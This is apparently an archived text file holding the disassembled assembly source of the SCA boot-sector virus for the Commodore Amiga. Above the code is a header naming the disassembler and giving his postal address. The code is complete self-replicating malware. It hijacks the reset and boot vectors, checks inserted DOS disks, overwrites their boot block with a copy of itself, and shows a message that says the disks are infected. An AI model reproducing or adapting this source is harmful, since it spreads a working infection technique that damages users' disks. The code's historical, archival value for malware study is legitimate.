home *** CD-ROM | disk | FTP | other *** search
- ;********************************************************************
- ;* YES YOU SE RIGHT THIS IS THE SOURCE CODE OF THE SCA VIRUSET *
- ;* THE SOURCE WAS DISASSEMBLED BY SAURON OF THE MIGHTY ACIDE HOUSE *
- ;* IF YOU WANT TO CONTACT ME THEN YOU FIND MY ADDRESS BELOW *
- ;*==================================================================*
- ;* JOHAN LINDAHL * LINBLOMMEV.6 * 510 21 SATILA * SWEDEN *
- ;*==================================================================*
- ;* A LITTLE EXPLAINTION HOW THE VIRUS WORK *
- ;* 1 THE VIRUS LIES AT $7EC00 *
- ;* 2 THE RESET ROUTINE BE INSTALLED *
- ;* 3 CONTINUED BOOT *
- ;* RESET ROUTINE *
- ;* 1 CHECK L MOUSE BUTTON TRUE = REMOVE VIRUS AND EXIT *
- ;* 2 ELSE INSTALL RESET ROUTINE AGAIN *
- ;* 3 INSTALL A BOOT ROUTINE (START IN THE BOOT) *
- ;* 4 EXIT *
- ;* BOOT ROUTINE *
- ;* 1 CHECK IF BOOT IS GREATER THEN 1024 bytes then Exit *
- ;* 2 CMP IF A DOS DISK, IF NOT EXIT *
- ;* 3 CMP IF A SCA VIRUS BOOT, THEN EXIT *
- ;* 4 CMP IF TIME TO START VIRUS ROUTINE *
- ;* 5 IF NOT COPY VIRUSBOOT TO THIS DISK AND EXIT *
- ;* 5 ELSE START VIRUS AND EXIT *
- ;********************************************************************
-
-
- Start: dc.b "DOS",0 ;DOS or KICK
- dc.l 0 ;CheckSum
- dc.l 880 ;DosPointer
- LEA.L Start(PC),A0
- LEA.L $0007EC00,A1
- MOVE.W #256,D0
- Copyl: MOVE.L (A0)+,(A1)+
- DBF D0,Copyl;(PC)
- JSR $0007EC88 ;Reset
- LEA.L DosBase(pc),A1;DosBase
- MOVE.L $00000004,A6
- JSR -96(A6)
- MOVE.L D0,A0
- MOVE.L 22(A0),A0
- MOVEQ #0,D0
- RTS
-
- Resetroutine: MOVE.L $00000004,A6
- BTST #6,$00BFE001
- BNE.S ContinueVirus
- CLR.L 46(A6) ;Emty reset
- BSR Remreset
- LEA.L $00DFF000,A5
- MOVE.W #$0060,$180(A5) ;Green
- MOVEQ #50,D0
- BSR WaitTOF
- BRA.S Exit
-
- ContinueVirus: BSR Reset
- LEA.L $0007ECA4,A0
- CMPA.L -454(A6),A0 ;cmp Bootvector,Bootroutine
- BEQ.S Exit ;If equ then rts
- MOVE.L -454(A6),$0007EFDE ;else save old vector
- MOVE.L A0,-454(A6) ;put in the new one
- Exit: RTS
-
- Reset: MOVE.L #$0007EC3E,46(A6);resetroutine
-
- RemReset: LEA.L 34(A6),A0
- CLR.W D0
- MOVEQ #23,D1
- Rchsuml: ADD.W (A0)+,D0
- DBF D1,Rchsuml
- NOT.W D0
- MOVE.W D0,(A0)
- RTS
-
- BootRoutine: CMPI.L #$00000400,36(A1)
- BNE.S DOBR ;Disk is auto boot
- CMPA.L 40(A1),A4 ;Read address=Virus address
- BEQ.S AVirus ;Activate Virus
- DOBR: JMP $0007EFDC ;do the old boot routine
-
- AVirus: CLR.L (A4)
- JSR $0007EFDC ;do the old boot routine first
- CMPI.L #$444F5300,(A4) ;Cmp if a DOS disk
- BNE.S Quit ;if not then exit
- MOVE.L $0007EFDE,-454(A6);old boot r on boot vector
- CLR.L $0007EFDE ;clr.l pointer to old boot r
- MOVEM.L D0-D7/A0-A5,-(A7)
- LEA.L $00DFF000,A5
- LEA.L $0007EC04,A0 ;pointer boot check sum in a0
- MOVE.L (A0),D0 ;old checksum in d0
- CMP.L 4(A4),D0 ;cmp if virus boot
- BEQ.S True ;if true don't write new boot
- MOVE.L A1,A4 ;trackdisk pointer in a4
- BSR CopyVirus ;jsr write virus boot
-
- True: MOVEM.L (A7)+,D0-D7/A0-A5
- Quit: RTS
-
- CopyVirus: SUBI.W #1,$0007EEFC
- ADDI.W #1,$0007EEF8
- MOVE.W $0007EEF8,D0
- ANDI.W #$000F,D0
- CMPI.W #0,D0
- BNE.S WriteVirus
- BSR StartVirus
-
- WriteVirus: MOVE.L A4,A1
- MOVE.W #1,28(A1) ;Reset
- MOVE.L $00000004,A6
- JSR -456(A6) ;DoIo
- MOVE.L A4,A1
- MOVE.W #3,28(A1) ;Write
- MOVE.L #$00000400,36(A1) ;Length
- MOVE.L #$0007EC00,40(A1) ;Buffer
- MOVE.L #$00000000,44(A1) ;Sector
- MOVE.L $00000004,A6
- JSR -456(A6) ;DoIo
- MOVE.L A4,A1
- MOVE.W #4,28(A1) ;Update
- MOVE.L $00000004,A6
- JSR -456(A6) ;DoIo
- RTS
-
- StartVirus: MOVE.L A4,A1
- CLR.L 36(A1)
- MOVE.W #9,28(A1) ;Turn of drive motor
- MOVE.L $00000004,A6
- JSR -456(A6) ;DoIo
- LEA.L $0007EB00,A3 ;$7eb00 = Raster Port
- LEA.L GfxBase,A1 ;LibName
- CLR.L D0 ;Version
- MOVE.L $00000004,A6 ;ExecBase
- JSR -552(A6) ;OpenLibrary
- MOVE.L D0,$0007C8FC ;Save GfxBase
- MOVE.L A3,A1 ;RasterPort in a1
- MOVE.L $0007C8FC,A6 ;Restore GfxBase in a6
- JSR -198(A6) ;InitRasterPort
- LEA.L $0007EA00,A0 ;$7ea00=BitMap
- MOVE.L A0,4(A3) ;set Bitmap pointer in RPort
- MOVEQ #1,D0 ;Deep (colors)
- MOVE.W #320,D1 ;Width
- MOVE.W #200,D2 ;Height
- MOVE.L $0007C8FC,A6 ;Restore GfxBase in a6
- JSR -390(A6) ;InitBitMap
- MOVE.L #$0007EEC4,128(A5);StartCopperList
- MOVE.W #$0800,$182(A5);Color 2 = Red
- MOVEQ #100,D0
- BSR WaitTOF ;Wait
- LEA.L $0007EF1B,A2
-
- PrintNext: LEA.L $0007C900,A0 ;Bitmap
- MOVE.L A0,$0007EA08 ;Set bmap pointer in BmapStruct
- MOVE.W #2000,D0 ;Bitmap size 2000*4=8000
- ClrBMap: CLR.L (A0)+ ;clear bitmap
- DBF D0,ClrBMap ;To it is clean
- MOVE.W #$2e75,$0e8(A5);Display window start
- MOVE.W #$f6d5,$090(A5);Display window stop
- MOVE.W #$0038,$092(A5);Data fetch start
- MOVE.W #$00d0,$094(A5);Data fetch stop
- CLR.L $0108(A5) ;Modulo (odd planes)
- MOVE.W #$1200,$100(A5);bplcon0
- CLR.L $102(A5) ;bplcon1
- MOVE.W #$8380,$096(A5);DMAcon
- MOVE.L A3,A1 ;RPort in a1
- CLR.L D0 ;Emty X cord
- MOVE.B (A2)+,D0 ;X cord
- MOVEQ #81,D1 ;Y cord
- MOVE.L $0007C8FC,A6 ;Restore GfxBase in a6
- JSR -240(A6) ;Move
- MOVE.L A3,A1 ;RPort in a1
- CLR.L D0 ;Emty counter
- MOVE.B (A2)+,D0 ;How many ch to print ?
- CMPI.B #0,D0 ;if 0 chars to print
- BEQ.S Finished ;Virus finished
- MOVE.L A2,A0 ;Save text pointer
- LEA.L 0(A2,D0.W),A2;a2=Point at next text to print
- MOVE.L $0007C8FC,A6 ;Restore GfxBase in a6
- JSR -60(A6) ;print Text
- MOVEQ #7,D2 ;Times to ton up
- MOVE.W #$0800,D1 ;dark red
-
- Toning1: MOVEQ #2,D0 ;Time to wait
- BSR WaitTOF ;Wait
- MOVE.W D1,$0182(A5)
- ADDI.W #$0122,D1
- DBF D2,Toning1
- CLR.L D0
- MOVE.B (A2)+,D0
- BSR WaitTOF
- MOVEQ #7,D2
-
- Toning2: MOVEQ #2,D0
- BSR WaitTOF
- SUBI.W #$0122,D1
- MOVE.W D1,$182(A5)
- DBF d2,Toning2
- CLR.L D0
- MOVE.B (A2)+,D0
- BSR WaitTOF
- BRA PrintNext
-
- Finished: MOVE.L $0007C8FC,A0 ;Restore GfxBase in a6
- MOVE.L 38(A0),$080(A5) ;Turn on old copperList
- MOVE.W #$0100,$096(A5) ;Turn off bitplanes
- RTS
-
- WaitTOF: ADD.W D0,D0
- Wloop: CMPI.B #0,6(A5) ;$dff006
- BNE.S Wloop
- Past: CMPI.B #0,6(A5)
- BEQ.S Past
- DBF D0,Wloop
- RTS
-
-
- CopperList: dc.w $00E0,$0007
- dc.w $00E2,$C900
- dc.w $7005,$FFFE
- dc.w $0180,$0E62
- dc.w $7405,$FFFE
- dc.w $0180,$0410
- dc.w $7505,$FFFE
- dc.w $0180,$0800
- dc.w $8605,$FFFE
- dc.w $0180,$0D51
- dc.w $8A05,$FFFE
- dc.w $0180,$0000
- dc.w $ffff,$fffe
-
- ShowVirus: dc.w $0011
- dc.w $FFFA
- dc.w $FFEA
-
- GfxBase: dc.b "graphics.library",0
- DosBase: dc.b "dos.library",0
-
- ; WHAT THE NUMBERS IN TextNdata stands for
- ; 1byte=Time to show message
- ; 2byte=Time to wait before to print next message
- ; 3byte=The X-cordinate to print on
- ; 4byte=How many chars to print
-
- Text1data: dc.b $00,$20
- Text1: dc.b "Something wonderful has happened"
- Text2data: dc.b $d2,$aa,$2d,$17
- Text2: dc.b "Your AMIGA is alive !!!"
- Text3data: dc.b $be,$a0,$41,$13
- Text3: dc.b "and, even better..."
- Text4data: dc.b $50,$50,$04,$1f
- Text4: dc.b "Some of your disks are infected"
- Text5data: dc.b $6e,$32,$5a,$0e
- Text5: dc.b "by a VIRUS !!!"
- Text6data: dc.b $8c,$78,$32,$16
- Text6: dc.b "Another masterpiece of"
- Text7data: dc.b $82,$32,$32,$16
- Text7: dc.b "The mega-mighty SCA !!"
-
- dc.w $DC6E,$0000
-
- OldBootVector: JMP $00000000
- Slut:
-
-